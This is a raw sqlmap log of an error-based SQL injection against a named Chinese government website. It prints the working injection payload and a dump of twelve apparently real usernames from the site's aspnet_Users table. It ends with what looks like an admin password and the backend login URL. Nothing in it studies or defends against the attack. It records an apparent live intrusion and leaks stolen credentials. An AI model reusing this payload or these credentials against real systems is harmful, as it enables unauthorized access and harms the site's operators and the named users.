Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: tabId=292' AND 9392=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(100)+CHAR(1
06)+CHAR(58)+(SELECT (CASE WHEN (9392=9392) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(117)+CHAR(117)+CHAR(112)+CHAR(58))) AND 'qnZj'='qnZj
---
[14:39:25] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[14:39:25] [INFO] fetching entries of column(s) 'UserName' for table 'aspnet_Use
rs' in database 'qingdao'
[14:39:25] [INFO] resumed: 12
[14:39:25] [INFO] fetching number of distinct values for column 'UserName'
[14:39:25] [WARNING] reflective value(s) found and filtering out
[14:39:25] [INFO] retrieved: 12
[14:39:25] [INFO] using column 'UserName' as a pivot for retrieving row data
[14:39:26] [INFO] retrieved: 1111
[14:39:26] [INFO] retrieved: admin
[14:39:26] [INFO] retrieved: adriakl
[14:39:27] [INFO] retrieved: duanjiangbo
[14:39:27] [INFO] retrieved: guochunfeng
[14:39:28] [INFO] retrieved: host
[14:39:28] [INFO] retrieved: jiwei
[14:39:31] [INFO] retrieved: Kilns
[14:39:32] [INFO] retrieved: liuyiwyb
[14:39:32] [INFO] retrieved: wangxianliang
[14:39:33] [INFO] retrieved: xinfangchu
[14:39:33] [INFO] retrieved: zhengshi
[14:39:33] [INFO] analyzing table dump for possible password hashes
Database: qingdao
Table: dbo.aspnet_Users
[12 entries]
+---------------+
| UserName |
+---------------+
| 1111 |
| admin |
| adriakl |
| duanjiangbo |
| guochunfeng |
| host |
| jiwei |
| Kilns |
| liuyiwyb |
| wangxianliang |
| xinfangchu |
| zhengshi |
+---------------+
[14:39:33] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[14:39:33] [INFO] table 'qingdao.dbo.aspnet_Users' dumped to CSV file 'C:\DOCUME
~1\ADMINI~1\??\salmap\Bin\output\www.fdzy.gov.cn\dump\qingdao\aspnet_Users.csv'
[14:39:33] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 13 times
[14:39:33] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\www.fdzy.gov.cn'
[*] shutting down at 14:39:33
============================================================================================
admin 8266111
后台：http://www.fdzy.gov.cn/fdzyht/login.jsp